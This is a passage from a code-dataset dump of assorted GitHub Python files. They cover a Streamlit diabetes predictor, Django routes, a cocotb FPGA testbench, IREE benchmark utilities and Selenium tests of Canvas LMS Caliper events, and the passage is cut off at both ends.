_italics_: red[sidebar].Please adjust the value of each feature. After that, click on the Predict button at the bottom to see the prediction of the classifier.\")\n\ntab1, tab2, tab3, tab4 = st.tabs([\"Random Forest\", \"XGBoost\", \"dataset overview\", \"author\"])\nfeatures, sidebars = get_features_df()\nfeatures_df = pd.DataFrame([features])\n\nwith tab1:\n st.write(\n 'In this tab you can predict patient situation based on Random Forest model')\n st.table(features_df)\n if st.button('Predict by RandomForest'):\n prediction = predict_quality(rf_model, features_df)\n st.title(\n 'Based on feature values, your patient has diabets probability:' + str(prediction))\n\nwith tab2:\n st.write(\n 'In this tab you can predict patient situation based on XGBOOST model')\n st.table(features_df)\n if st.button('Predict by XGBoost'):\n prediction = predict_quality(xg_model, features_df)\n st.title(\n 'Based on feature values, your patient has diabets probability:' + str(prediction))\n\nwith tab3:\n dataset = pd.read_csv('dataset/diabetes.csv')\n st.caption(\"features explanation\")\n st.table(features_info())\n st.caption(\"dataset overview\")\n st.dataframe(dataset.head())\n\n\nwith tab4:\n st.title(\"Author: Masoud Zaeem\")\n st.title(\"Email: massoudzaeem@gmail.com\")","repo_name":"massooti/Diabetes-prediction-web-app","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1310389474","text":"#passing a list in function in python\n# returning a list from function video155\ndef fuc1(l1):\n print(l1)\n print(type(l1))\n for i in l1:\n print(i)\n l1.append(11)\n return l1\n\na=[12,13,14,15,16,17,18,19,20]\nrl=fuc1(a)\nprint( \"returned list\",rl)\n","repo_name":"panditprogrammer/python3","sub_path":"python127.py","file_name":"python127.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"23079736258","text":"import os\n\nMAX_NAME_SIZE = 24\n\nfor dir in os.walk(\"tickflow\"):\n for file in dir[2]:\n fn = dir[0] + \"/\" + file\n f = open(fn)\n i = 1\n for line in f:\n if line.startswith(\"//\"):\n if line[2:].strip().startswith(\"async function \"):\n name = line[2:].strip().split(\" \")[2]\n pad = (MAX_NAME_SIZE // 8 - len(name) // 8) * \"\\t\"\n print(\"async function\\t%s%s @ %s:%d\" % (name, pad, fn, i))\n elif line[2:].strip().startswith(\"function \"):\n name = line[2:].strip().split(\" \")[1]\n pad = (MAX_NAME_SIZE // 8 - len(name) // 8) * \"\\t\"\n print(\"function\\t%s%s @ %s:%d\" % (name, pad, fn , i))\n i+=1","repo_name":"patataofcourse/cw01_layton_medley","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33876403717","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug 17 15:30:49 2019\n\n@author: Administrator\n\n慕课网爬虫专题学习\n\n\"\"\"\n\n#爬取网页的通用框架代码\nimport requests\n\ndef gethtmltext(url):\n try:\n r = requests.get(url,timeout=30)\n r.raise_for_status()\n r.enconding = r.apparent_encoding\n return r.text\n except:\n return \"产生异常\"\n\nif __name__ == \"__main__\":\n \n url=\"http://www.baidu.com\"\n print(gethtmltext(url))\n \n \nhelp(input)\n\n ","repo_name":"chenfei2928/first_web","sub_path":"jupyterCode/mypython/慕课网爬专题虫.py","file_name":"慕课网爬专题虫.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4853579462","text":"from sklearn import tree\nfrom sklearn.metrics import accuracy_score\n\nNAME = 'decision_tree'\n\ndef classify(x_train, x_test, y_train, y_test):\n # Instancia um objeto da classe do classificador\n clf = tree.DecisionTreeClassifier()\n\n # Ajusta o modelo\n clf.fit(x_train, y_train)\n\n # Faz a predição de cada imagem\n prediction = clf.predict(x_test)\n\n # Mede a acurácia para saber a performance do algoritmo\n acurracy = accuracy_score(prediction, y_test)\n\n return acurracy","repo_name":"IgorMartinez/pdi-works","sub_path":"dtree.py","file_name":"dtree.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30253019285","text":"from django.urls import path\n\nfrom .views import TaskList, TaskDetail, TaskCreate, TaskUpdate, TaskDelete, UserLoginView, RegisterPage\nfrom django.contrib.auth.views import LogoutView\n\n\nurlpatterns = [\n # User login endpoints\n path(\"login/\", UserLoginView.as_view(), name=\"login\"),\n path(\"logout/\", LogoutView.as_view(next_page=\"login\"), name=\"logout\"),\n path(\"signup/\", RegisterPage.as_view(), name=\"signup\"),\n\n # Tasks operations endpoints\n path(\"\", TaskList.as_view(), name=\"tasks\"),\n path(\"task//\", TaskDetail.as_view(), name=\"task\"),\n path(\"task/create/\", TaskCreate.as_view(), name=\"task-create\"),\n path(\"task/edit//\", TaskUpdate.as_view(), name=\"task-edit\"),\n path(\"task/delete//\", TaskDelete.as_view(), name=\"task-delete\")\n]\n","repo_name":"pbalkonskiy/DjangoToDoWebApp","sub_path":"application/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"74445461956","text":"import os\n\ntry:\n import setuptools\nexcept ImportError:\n from ez_setup import use_setuptools\n use_setuptools()\n\nfrom setuptools import setup\n\n\ndef read_file(relpath):\n return open(os.path.join(os.path.dirname(__file__), relpath)).read()\n\n_readme_lines = read_file(\"README.rst\").splitlines()\n\nCLASSIFIERS = \"\"\"\\\nDevelopment Status :: 5 - Production/Stable\nIntended Audience :: Developers\nLicense :: OSI Approved :: MIT License\nOperating System :: OS Independent\nProgramming Language :: Python :: 2\nProgramming Language :: Python :: 3\nTopic :: Software Development :: Libraries :: Python Modules\n\"\"\"\n\nNAME = 'lrange'\nVERSION = '1.0.1'\nDESCRIPTION = _readme_lines[0]\nLONG_DESCRIPTION = \"\\n\".join(_readme_lines[2:])\nURL = \"http://github.com/zed/lrange/\"\nDOWNLOAD_URL = (\"http://pypi.python.org/packages/source/l/lrange/\"\n \"lrange-%s.tar.gz\" % (VERSION,))\nLICENSE = 'MIT'\nCLASSIFIERS = list(filter(len, CLASSIFIERS.split('\\n')))\nAUTHOR = \"zed\"\nAUTHOR_EMAIL = \"arn.zart+zed@gmail.com\"\nPLATFORMS = [\"Windows\", \"Linux\", \"Solaris\", \"Mac OS-X\", \"Unix\"]\n\nsetup(\n name=NAME,\n version=VERSION,\n description=DESCRIPTION,\n long_description=LONG_DESCRIPTION,\n url=URL,\n download_url=DOWNLOAD_URL,\n license=LICENSE,\n classifiers=CLASSIFIERS,\n author=AUTHOR,\n author_email=AUTHOR_EMAIL,\n maintainer=AUTHOR,\n maintainer_email=AUTHOR_EMAIL,\n platforms=PLATFORMS,\n # NOTE: setup.py test might fail on the first attempt\n tests_require=['nose'],\n test_suite=\"nose.collector\",\n py_modules=[NAME],\n provides=[NAME],\n)\n","repo_name":"zed/lrange","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"27618613609","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 12 20:54:00 2021\n\n@author: don\n\"\"\"\nfrom scipy.io.wavfile import write\nimport sounddevice as sd\nimport numpy as np\nimport torch\nfrom SmallerNet import SmallerNet\n\nnet = SmallerNet()\n\nnet.load_state_dict(torch.load(\"modell.pth\"))\nnet.eval()\n\nstream = sd.InputStream(samplerate=16000, channels=1)\nstream.start()\ndata = np.zeros((1,5000))\nfor i in range(100):\n next_frame = stream.read(2500)[0]\n next_frame = next_frame.reshape((-1,2500))\n #print(data.shape)\n #print(next_frame.shape)\n data = np.concatenate((data[:,-2500:],next_frame), axis = 1)\n #print(torch.from_numpy(data).unsqueeze(0).shape)\n pred = net(torch.from_numpy(data).view(-1,1,5000).type(torch.FloatTensor))\n if pred[0][0].item() >= 0.9:\n print(\"Snap!!!\")\n #write('NoSnap/output_{0}.wav'.format(i), 16000, next_frame)\n\n\n# =============================================================================\n# fs = 44100 # Sample rate\n# seconds = 3 # Duration of recording\n#\n# myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2)\n# sd.wait() # Wait until recording is finished\n# write('output.wav', fs, myrecording) # Save as WAV file\n# =============================================================================\n","repo_name":"FjodorGit/SnapDetection","sub_path":"SnapDetection.py","file_name":"SnapDetection.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21487043818","text":"import requests\nfrom django.conf import settings\n\nKEY = settings.KEYS.get('LibraryThing', 'KEY')\nSIZES = ('small', 'medium', 'large')\n\ndef get_cover(key, size, isbn):\n '''\n retrieves a cover image\n '''\n url = 'http://covers.librarything.com/devkey/%s/%s/isbn/%s'\n return url % (key, size, isbn)\n\ndef get_work(apikey):\n VERSION = '1.1'\n METHOD_NAME = 'librarything.ck.getwork'\n url = 'http://www.librarything.com/services/rest/%s/?method=%s&id=1060&apikey=%s' % (VERSION, METHOD_NAME, key)\n response = requests.get(url)\n","repo_name":"rajits/social-cataloging","sub_path":"social_cataloging/social_cataloging/librarything.py","file_name":"librarything.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42498042017","text":"import itertools\nimport logging\n\nimport cocotb\nfrom cocotb.clock import Clock\nfrom cocotb.regression import TestFactory\nfrom cocotb.triggers import RisingEdge\nfrom cocotbext.axi import (AxiLiteBus, AxiLiteMaster, AxiStreamBus,\n AxiStreamFrame, AxiStreamSink, AxiStreamSource)\nfrom scapy.all import IP, UDP, Ether\n\n# UDP packet with 128B payload\nPACKET = Ether(src='aa:bb:cc:dd:ee:ff', dst='11:22:33:44:55:66') \\\n / IP(src='1.1.1.1', dst='2.2.2.2') \\\n / UDP(sport=11111, dport=22222) / (b'\\xaa'*128)\n\n\nclass TB:\n def __init__(self, dut):\n self.dut = dut\n\n self.log = logging.getLogger(\"cocotb.tb\")\n self.log.setLevel(logging.DEBUG)\n self.log.info(\"Got DUT: {}\".format(dut))\n\n cocotb.fork(Clock(dut.axis_aclk, 2, units=\"ns\").start())\n cocotb.fork(Clock(dut.axil_aclk, 4, units=\"ns\").start())\n\n # Note, cocotb by default assumes reset signals are active high, while\n # open nic shell has reset signals active low. This is why we pass\n # reset_active_level=False.\n self.source_tx = [AxiStreamSource(\n AxiStreamBus.from_prefix(\n dut, \"s_axis_qdma_h2c_port{}\".format(port)),\n dut.axis_aclk, dut.p2p_250mhz_inst.axil_aresetn,\n reset_active_level=False)\n for port in [0, 1]]\n self.source_rx = [AxiStreamSource(\n AxiStreamBus.from_prefix(\n dut, \"s_axis_adap_rx_250mhz_port{}\".format(port)),\n dut.axis_aclk, dut.p2p_250mhz_inst.axil_aresetn,\n reset_active_level=False)\n for port in [0, 1]]\n self.sink_tx = [AxiStreamSink(\n AxiStreamBus.from_prefix(\n dut, \"m_axis_adap_tx_250mhz_port{}\".format(port)),\n dut.axis_aclk, dut.p2p_250mhz_inst.axil_aresetn,\n reset_active_level=False)\n for port in [0, 1]]\n self.sink_rx = [AxiStreamSink(\n AxiStreamBus.from_prefix(\n dut, \"m_axis_qdma_c2h_port{}\".format(port)),\n dut.axis_aclk, dut.p2p_250mhz_inst.axil_aresetn,\n reset_active_level=False)\n for port in [0, 1]]\n self.control = AxiLiteMaster(\n AxiLiteBus.from_prefix(dut, \"s_axil\"),\n dut.axil_aclk, dut.p2p_250mhz_inst.axil_aresetn,\n reset_active_level=False)\n\n def set_idle_generator(self, generator=None):\n if generator:\n for source_tx in self.source_tx:\n source_tx.set_pause_generator(generator())\n\n def set_backpressure_generator(self, generator=None):\n if generator:\n for sink_tx in self.sink_tx:\n sink_tx.set_pause_generator(generator())\n\n async def reset(self):\n self.dut.mod_rstn.setimmediatevalue(1)\n # mod rst signals are synced with the axi_aclk\n await RisingEdge(self.dut.axil_aclk)\n await RisingEdge(self.dut.axil_aclk)\n self.dut.mod_rstn.value = 0\n await RisingEdge(self.dut.axil_aclk)\n await RisingEdge(self.dut.axil_aclk)\n self.dut.mod_rstn.value = 1\n await RisingEdge(self.dut.mod_rst_done)\n\n\nasync def check_connection(\n tb: TB, source: AxiStreamSource,\n sink: AxiStreamSink, test_packet=PACKET):\n # Pkts on source should arrive at sink\n test_frames = []\n test_frame = AxiStreamFrame(bytes(test_packet), tuser=0)\n await source.send(test_frame)\n test_frames.append(test_frame)\n tb.log.info(\"Frame sent\")\n\n for test_frame in test_frames:\n tb.log.info(\"Trying to recv frame\")\n rx_frame = await sink.recv()\n assert rx_frame.tdata == test_frame.tdata\n\n assert sink.empty()\n\n\nasync def run_test(dut, idle_inserter=None, backpressure_inserter=None):\n\n tb = TB(dut)\n\n await tb.reset()\n\n tb.set_idle_generator(idle_inserter)\n tb.set_backpressure_generator(backpressure_inserter)\n\n await check_connection(tb, tb.source_tx[0], tb.sink_tx[0], PACKET)\n await check_connection(tb, tb.source_tx[1], tb.sink_tx[1], PACKET)\n await check_connection(tb, tb.source_rx[0], tb.sink_rx[0], PACKET)\n await check_connection(tb, tb.source_rx[1], tb.sink_rx[1], PACKET)\n\n # Due to some bugs in cocotb following lines are needed.\n # Check cocotb gitter for details.\n await RisingEdge(dut.axis_aclk)\n await RisingEdge(dut.axis_aclk)\n\n\ndef cycle_pause():\n return itertools.cycle([1, 1, 1, 0])\n\n\nif cocotb.SIM_NAME:\n factory = TestFactory(run_test)\n factory.add_option(\"idle_inserter\", [None, cycle_pause])\n factory.add_option(\"backpressure_inserter\", [None, cycle_pause])\n factory.generate_tests()\n","repo_name":"Xilinx/open-nic-shell","sub_path":"plugin/p2p/box_250mhz/tb/test_p2p_250mhz_wrapper.py","file_name":"test_p2p_250mhz_wrapper.py","file_ext":"py","file_size_in_byte":4616,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"62"} +{"seq_id":"39181586682","text":"import pathlib\nimport re\n\nimport dataclasses\nfrom dataclasses import dataclass\nfrom typing import Dict, List, Optional, Sequence, Tuple\nfrom common.benchmark_definition import IREE_DRIVERS_INFOS, DriverInfo\nfrom e2e_test_artifacts import iree_artifacts\nfrom e2e_test_framework.definitions import common_definitions, iree_definitions\nfrom e2e_test_framework import serialization\n\nMODEL_FLAGFILE_NAME = \"flagfile\"\nMODEL_TOOLFILE_NAME = \"tool\"\n\n\n@dataclass\nclass BenchmarkCase:\n \"\"\"Represents a benchmark case.\n\n model_name: the source model, e.g., 'MobileSSD'.\n model_tags: the source model tags, e.g., ['f32'].\n bench_mode: the benchmark mode, e.g., '1-thread,big-core'.\n target_arch: the target CPU/GPU architature.\n driver_info: the IREE driver configuration.\n benchmark_tool_name: the benchmark tool, e.g., 'iree-benchmark-module'.\n benchmark_case_dir: the path to benchmark case directory.\n run_config: the run config from e2e test framework.\n input_uri: URI to find the input npy.\n expected_output_uri: URI to find the expected output npy.\n \"\"\"\n\n model_name: str\n model_tags: Sequence[str]\n bench_mode: Sequence[str]\n target_arch: common_definitions.DeviceArchitecture\n driver_info: DriverInfo\n benchmark_tool_name: str\n benchmark_case_dir: pathlib.Path\n run_config: iree_definitions.E2EModelRunConfig\n input_uri: Optional[str] = None\n expected_output_uri: Optional[str] = None\n verify_params: List[str] = dataclasses.field(default_factory=list)\n\n\n# A map from execution config to driver info. This is temporary during migration\n# before we can drop the DriverInfo.\nEXECUTION_CONFIG_TO_DRIVER_INFO_KEY_MAP: Dict[\n Tuple[iree_definitions.RuntimeDriver, iree_definitions.RuntimeLoader], str\n] = {\n (\n iree_definitions.RuntimeDriver.LOCAL_TASK,\n iree_definitions.RuntimeLoader.EMBEDDED_ELF,\n ): \"iree-llvm-cpu\",\n (\n iree_definitions.RuntimeDriver.LOCAL_SYNC,\n iree_definitions.RuntimeLoader.EMBEDDED_ELF,\n ): \"iree-llvm-cpu-sync\",\n (\n iree_definitions.RuntimeDriver.LOCAL_TASK,\n iree_definitions.RuntimeLoader.VMVX_MODULE,\n ): \"iree-vmvx\",\n (\n iree_definitions.RuntimeDriver.LOCAL_SYNC,\n iree_definitions.RuntimeLoader.VMVX_MODULE,\n ): \"iree-vmvx-sync\",\n (\n iree_definitions.RuntimeDriver.VULKAN,\n iree_definitions.RuntimeLoader.NONE,\n ): \"iree-vulkan\",\n (\n iree_definitions.RuntimeDriver.CUDA,\n iree_definitions.RuntimeLoader.NONE,\n ): \"iree-cuda\",\n}\n\n\nclass BenchmarkSuite(object):\n \"\"\"Represents the benchmarks in benchmark suite directory.\"\"\"\n\n def __init__(self, benchmark_cases: Sequence[BenchmarkCase]):\n \"\"\"Construct a benchmark suite.\n\n Args:\n benchmark_cases: list of benchmark cases.\n \"\"\"\n self.benchmark_cases = list(benchmark_cases)\n\n def filter_benchmarks(\n self,\n available_drivers: Optional[Sequence[str]] = None,\n available_loaders: Optional[Sequence[str]] = None,\n target_architectures: Optional[\n Sequence[common_definitions.DeviceArchitecture]\n ] = None,\n driver_filter: Optional[str] = None,\n mode_filter: Optional[str] = None,\n model_name_filter: Optional[str] = None,\n ) -> Sequence[BenchmarkCase]:\n \"\"\"Filters benchmarks.\n Args:\n available_drivers: list of drivers supported by the tools. None means to\n match any driver.\n available_loaders: list of executable loaders supported by the tools.\n None means to match any loader.\n target_architectures: list of target architectures to be included. None\n means no filter.\n driver_filter: driver filter regex.\n mode_filter: benchmark mode regex.\n model_name_filter: model name regex.\n Returns:\n A list of matched benchmark cases.\n \"\"\"\n\n chosen_cases = []\n for benchmark_case in self.benchmark_cases:\n driver_info = benchmark_case.driver_info\n\n driver_name = driver_info.driver_name\n matched_available_driver = (\n available_drivers is None or driver_name in available_drivers\n )\n matched_driver_filter = (\n driver_filter is None\n or re.match(driver_filter, driver_name) is not None\n )\n matched_driver = matched_available_driver and matched_driver_filter\n\n matched_loader = (\n not driver_info.loader_name\n or available_loaders is None\n or (driver_info.loader_name in available_loaders)\n )\n\n if target_architectures is None:\n matched_arch = True\n else:\n matched_arch = benchmark_case.target_arch in target_architectures\n\n bench_mode = \",\".join(benchmark_case.bench_mode)\n matched_mode = (\n mode_filter is None or re.match(mode_filter, bench_mode) is not None\n )\n\n model_name_with_tags = benchmark_case.model_name\n if len(benchmark_case.model_tags) > 0:\n model_name_with_tags += f\"-{','.join(benchmark_case.model_tags)}\"\n matched_model_name = (\n model_name_filter is None\n or re.match(model_name_filter, model_name_with_tags) is not None\n )\n\n if (\n matched_driver\n and matched_loader\n and matched_arch\n and matched_model_name\n and matched_mode\n ):\n chosen_cases.append(benchmark_case)\n\n return chosen_cases\n\n @staticmethod\n def load_from_run_configs(\n run_configs: Sequence[iree_definitions.E2EModelRunConfig],\n root_benchmark_dir: pathlib.Path,\n ):\n \"\"\"Loads the benchmarks from the run configs.\n\n Args:\n run_configs: list of benchmark run configs.\n Returns:\n A benchmark suite.\n \"\"\"\n\n benchmark_cases = []\n for run_config in run_configs:\n module_gen_config = run_config.module_generation_config\n module_exec_config = run_config.module_execution_config\n target_device_spec = run_config.target_device_spec\n\n driver_info_key = EXECUTION_CONFIG_TO_DRIVER_INFO_KEY_MAP.get(\n (module_exec_config.driver, module_exec_config.loader)\n )\n if driver_info_key is None:\n raise ValueError(\n f\"Can't map execution config to driver info: {module_exec_config}.\"\n )\n driver_info = IREE_DRIVERS_INFOS[driver_info_key]\n\n target_arch = target_device_spec.architecture\n model = module_gen_config.imported_model.model\n\n module_dir_path = iree_artifacts.get_module_dir_path(\n module_generation_config=module_gen_config, root_path=root_benchmark_dir\n )\n module_dir_path = pathlib.Path(module_dir_path)\n\n benchmark_case = BenchmarkCase(\n model_name=model.name,\n model_tags=model.tags,\n bench_mode=module_exec_config.tags,\n target_arch=target_arch,\n driver_info=driver_info,\n benchmark_tool_name=run_config.tool.value,\n benchmark_case_dir=module_dir_path,\n run_config=run_config,\n )\n benchmark_cases.append(benchmark_case)\n\n return BenchmarkSuite(benchmark_cases=benchmark_cases)\n\n\ndef get_run_configs_by_target_and_shard(\n benchmark_groups: Dict, target_device_name: str, shard_index: Optional[int] = None\n):\n \"\"\"Returns a flat list of run_configs from `benchmark_groups`, filtered by the given `target_device_name`.\n If a `shard_index` is given, only the run configs for the given shard are returned, otherwise all the run configs are returned.\n \"\"\"\n benchmark_group = benchmark_groups.get(target_device_name)\n if benchmark_group is None:\n raise ValueError(\n \"Target device '{}' not found in the benchmark config.\".format(\n target_device_name\n )\n )\n\n if shard_index is None:\n # In case no shard index was given we will run ALL benchmarks from ALL shards\n packed_run_configs = [\n shard[\"run_configs\"] for shard in benchmark_group[\"shards\"]\n ]\n else:\n # Otherwise we will only run the benchmarks from the given shard\n benchmark_shard = next(\n (\n shard\n for shard in benchmark_group[\"shards\"]\n if shard[\"index\"] == shard_index\n ),\n None,\n )\n if benchmark_shard is None:\n raise ValueError(\n \"Given shard (index={}) not found in the benchmark config group. Available indexes: [{}].\".format(\n shard_index,\n \", \".join(\n str(shard[\"index\"]) for shard in benchmark_group[\"shards\"]\n ),\n )\n )\n packed_run_configs = [benchmark_shard[\"run_configs\"]]\n\n # When no `shard_index` is given we might have more than one shard to process.\n # We do this by deserializing the `run_config` field from each shard separately\n # and then merge the unpacked flat lists of `E2EModelRunConfig`.\n return [\n run_config\n for packed_run_config in packed_run_configs\n for run_config in serialization.unpack_and_deserialize(\n data=packed_run_config,\n root_type=List[iree_definitions.E2EModelRunConfig],\n )\n ]\n","repo_name":"openxla/iree","sub_path":"build_tools/benchmarks/common/benchmark_suite.py","file_name":"benchmark_suite.py","file_ext":"py","file_size_in_byte":9729,"program_lang":"python","lang":"en","doc_type":"code","stars":2127,"dataset":"github-code","pt":"62"} +{"seq_id":"26745210869","text":"from basetest import BaseTest, DesktopBaseTest\nimport re\nimport pytest\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.common.action_chains import ActionChains\nimport os\n\n# Selenium 3.14+ doesn't enable certificate checking\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\nclass TestDesktopCaliperEvents(DesktopBaseTest):\n def test_canvas_logged_in_event_caliper_desktop(self):\n try:\n super().login_sso()\n\n except Exception as e:\n print(\"exception\")\n print(e)\n assert 0\n self.driver.quit()\n\n def test_canvas_logged_out_event_caliper_desktop(self):\n try:\n super().login_sso()\n\n # click account\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.ID, \"global_nav_profile_link\")\n )\n ).click()\n\n # click logout\n xpath = \"/html/body/div[3]/span/span/div/div/div/div/div/span/form/button\"\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.presence_of_element_located(\n (By.XPATH, xpath))\n )\n assert self.driver.find_element(By.XPATH, xpath).text == \"Logout\"\n\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.presence_of_element_located(\n (By.XPATH, xpath))\n ).click()\n\n # logout goes to ucsd.edu\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.presence_of_element_located(\n (By.CLASS_NAME, \"navbar-header\")\n )\n )\n assert (self.driver.current_url) == \"https://www.ucsd.edu/\"\n\n except Exception as e:\n print(\"exception\")\n print(e)\n assert 0\n self.driver.quit()\n\n def test_canvas_assignment_events_caliper_desktop(self):\n try:\n super().login_sso()\n super().wait_for_ajax(self.driver)\n self.driver.get(\"https://canvas.ucsd.edu/courses/20774/assignments\")\n\n WebDriverWait(self.driver, 10).until(\n expected_conditions.presence_of_element_located((By.XPATH, \"//a[@title='Add Assignment to Assignments']\")))\n\n # click on add assigmnent\n # can't get this to work ON SAFARI 11 - new paget not loading\n # safari shows \"your browser does not meet the minimum requirements\n # for Canvas\" message\n xpath = \"//a[@title='Add Assignment to Assignments']\"\n\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable((By.XPATH, xpath))\n ).click()\n\n super().wait_for_ajax(self.driver)\n\n WebDriverWait(self.driver, 7).until(\n expected_conditions.presence_of_element_located((By.XPATH, \"//input[@name='name']\")))\n\n self.driver.find_element(\n By.XPATH, \"//span[text()='close']/following::input\").send_keys(\"Test1A\")\n # Save assignment\n self.driver.find_element(By.XPATH, \"//form[@id='ui-id-2']/div[1]/div[2]/button[4]\").click()\n\n super().wait_for_ajax(self.driver)\n\n elements = self.driver.find_elements(By.LINK_TEXT, \"Test1A\")\n assert len(elements) > 0\n\n self.driver.find_element(By.ID, \"search_term\").send_keys(\"Test1A\")\n # Click 3 dot\n self.driver.find_element(By.XPATH, \"//li[contains(@class,'assignment search_show')]//div[contains(@class,'ig-admin')]/div/button\").click()\n # Click edit\n self.driver.find_element(By.XPATH, \"//li[@class='ui-menu-item']//a\").click()\n\n super().wait_for_ajax(self.driver)\n # Select More Options button\n actions = ActionChains(self.driver) \n actions.send_keys(Keys.TAB * 4).send_keys(Keys.ENTER)\n actions.perform()\n super().wait_for_ajax(self.driver)\n\n # Switch to iframe\n elements = self.driver.find_elements(By.XPATH, \"//iframe[@id='assignment_description_ifr']\")\n assert len(elements) > 0\n\n ## You have to switch to the iframe like so: ##\n self.driver.switch_to.frame(\"assignment_description_ifr\")\n\n # Add content to body\n self.driver.find_element(By.ID, \"tinymce\").send_keys(\"Edit Body\")\n\n ## Switch back to the \"default content\" (that is, out of the iframes) ##\n self.driver.switch_to.default_content()\n self.__assignment_override(3)\n super().wait_for_ajax(self.driver)\n\n elements = self.driver.find_elements(By.XPATH, \"//td[text()='Canvas Caliper Events Testing']\")\n assert len(elements) > 0\n \n self.driver.find_element(By.XPATH, \"//a[@class='btn edit_assignment_link']\").click()\n super().wait_for_ajax(self.driver) \n self.__assignment_override(2)\n super().wait_for_ajax(self.driver)\n\n elements = self.driver.find_elements(By.XPATH, \"//td[text()='Everyone']\")\n assert len(elements) > 0\n\n self.driver.find_element(By.XPATH, \"//a[@class='btn edit_assignment_link']\").click()\n super().wait_for_ajax(self.driver) \n self.driver.find_element(By.XPATH, \"//button[@class='al-trigger btn']\").click()\n self.driver.find_element(By.XPATH, \"//a[contains(@class,'delete_assignment_link ui-corner-all')]\").click()\n\n assert self.driver.switch_to.alert.text == \"Are you sure you want to delete this assignment?\"\n self.driver.switch_to.alert.accept()\n super().wait_for_ajax(self.driver)\n\n self.driver.find_element(By.ID, \"search_term\").send_keys(\"Test1A\")\n elements = self.driver.find_elements(By.XPATH, \"//a[text()='Test1A']\")\n assert len(elements) == 0\n\n except Exception as e:\n print(\"exception\")\n print(e)\n assert 0\n self.driver.quit()\n\n def test_canvas_copy_course_event_caliper_desktop(self):\n try:\n\n super().login_sso()\n\n #\n # delete copied course if it exists\n #\n\n # click courses\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.ID, \"global_nav_courses_link\")\n )\n ).click()\n # check if any couress under unpublished\n # course xpath\n # xpath = \"/html/body/div[3]/span/span/div/div/div/div/div/ul[2]/li/a\"\n\n # get unpub list of courses if it exists\n unpublished_courses = self.driver.find_elements_by_link_text(\n 'Unpublished Courses')\n if not unpublished_courses:\n print(\"No element found\")\n else:\n element = unpublished_courses[0]\n elementList = element.find_elements_by_tag_name(\n \"li\")\n\n # loop over list\n for element in elementList:\n if (\"Canvas Caliper Events Testing\"):\n element.click()\n # wait for course page page to load, click it\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.CLASS_NAME, \"settings\")\n )\n )\n # click settings link\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable((By.CLASS_NAME, \"settings\")\n )).click()\n\n # click delete this course trash icon\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.CLASS_NAME, \"icon-trash\")\n )\n ).click()\n\n # wait for confirm delete page to load; click delete submit button\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable(\n (By.XPATH, \"//button[id ='value']\")\n )\n ).click()\n\n #\n # get to test course\n #\n # self.__access_test_events_course()\n\n # wait for test course div\n xpath = \"/html/body/div[3]/span/span/div/div/div/div/div/ul[1]/li[1]/a\"\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.visibility_of_element_located(\n (By.XPATH, xpath))\n )\n\n # click on test course\n self.driver.find_element_by_link_text(\n \"Canvas Caliper Events Testing\"\n ).click()\n\n # wait for page to load, click settings in left navbar\n xpath = \"//a[@href='/courses/20774/settings']\"\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.visibility_of_element_located(\n (By.XPATH, xpath)\n )\n )\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable((By.XPATH, xpath))\n ).click()\n\n #\n # wait for page to load, click on copy course\n #\n WebDriverWait(self.driver, self.SECONDS_WAIT).until(\n expected_conditions.visibility_of_element_located(\n (By.ID, \"course_public_description\")\n )\n )\n xpath = \"//a[@href='/courses/20774/copy']\"\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.element_to_be_clickable((By.XPATH, xpath))\n ).click()\n\n # wait for form visible\n WebDriverWait(self.driver, super().SECONDS_WAIT).until(\n expected_conditions.visibility_of_element_located(\n (By.ID, 